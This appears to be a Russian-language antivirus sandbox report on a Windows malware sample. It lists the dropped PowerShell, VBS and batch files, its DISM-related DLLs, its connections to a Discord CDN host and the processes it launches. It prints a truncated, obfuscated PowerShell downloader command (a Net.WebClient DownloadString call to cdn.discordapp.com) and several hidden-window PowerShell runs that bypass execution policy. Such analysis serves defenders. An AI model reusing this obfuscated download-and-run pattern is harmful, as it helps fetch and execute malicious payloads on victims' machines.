Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`uprWjOFkvkmXBfdt`.W`e'.Replace('uprWjOFkvkmXBfd','w-Object Ne');$alosh='bCxNDFdlAckIUgChpnlo'.Replace('xNDFdlAckIUgChp','lient).Dow'); $Dont='adString(''https://cdn.discordapp....
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\alosh.ps1
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\smiprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\transmogprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\unattendprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\wimprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\folderprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\intlprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\msiprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\osprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\logprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\smiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\transmogprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\unattendprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\wimprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\wdscore.dll
- %ALLUSERSPROFILE%\windowshost\microsoft.vbs
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\msiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\osprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\logprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\intlprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\folderprovider.dll.mui
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- C:\users\public\chrome.vbs
- %WINDIR%\logs\dism\dism.log
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\cbsprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\compatprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismcore.dll
- C:\users\public\run.ps1
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismcoreps.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismprov.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dmiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\cbsprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\compatprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dismcore.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dismprov.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dmiprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismhost.exe
- C:\users\public\microsoft.bat
- C:\users\public\updats.ps1
Удаляет следующие файлы
- C:\users\public\chrome.vbs
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\osprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\smiprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\transmogprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\unattendprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\wimprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\logprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\msiprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\folderprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\msiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\osprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\smiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\transmogprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\unattendprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\intlprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\logprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\intlprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\folderprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dmiprovider.dll.mui
- C:\users\public\run.ps1
- C:\users\public\test.ps1
- C:\users\public\vb.vbs
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\cbsprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\compatprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismcore.dll
- C:\users\public\alosh.ps1
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismcoreps.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismprov.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dmiprovider.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\cbsprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\compatprovider.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dismcore.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\en-us\dismprov.dll.mui
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismhost.exe
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\wdscore.dll
- %TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\wimprovider.dll
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
TCP
Другие
- 'cd#.##scordapp.com':443
UDP
- DNS ASK cd#.##scordapp.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Chrome.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\vb.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
- '%TEMP%\b539c7da-ce1e-48d1-be80-3b3abd0e2dec\dismhost.exe' {797B1705-2BDA-43CF-8BA2-163D0EF728DD}
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\WindowsHost\Microsoft.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass C:\Users\Public\UPDATS.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`uprWjOFkvkmXBfdt`.W`e'.Replace('uprWjOFkvkmXBfd','w-Object Ne');$alosh='bCxNDFdlAckIUgChpnlo'.Replace('xNDFdlAckIUgChp','lient).Dow'); $Dont='adString(''https://cdn.discordapp....' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Microsoft.bat" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\dism.exe' /online /enable-feature /featurename:NetFX3
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Microsoft.bat" "
- '%WINDIR%\microsoft.net\framework\v2.0.50727\msbuild.exe'
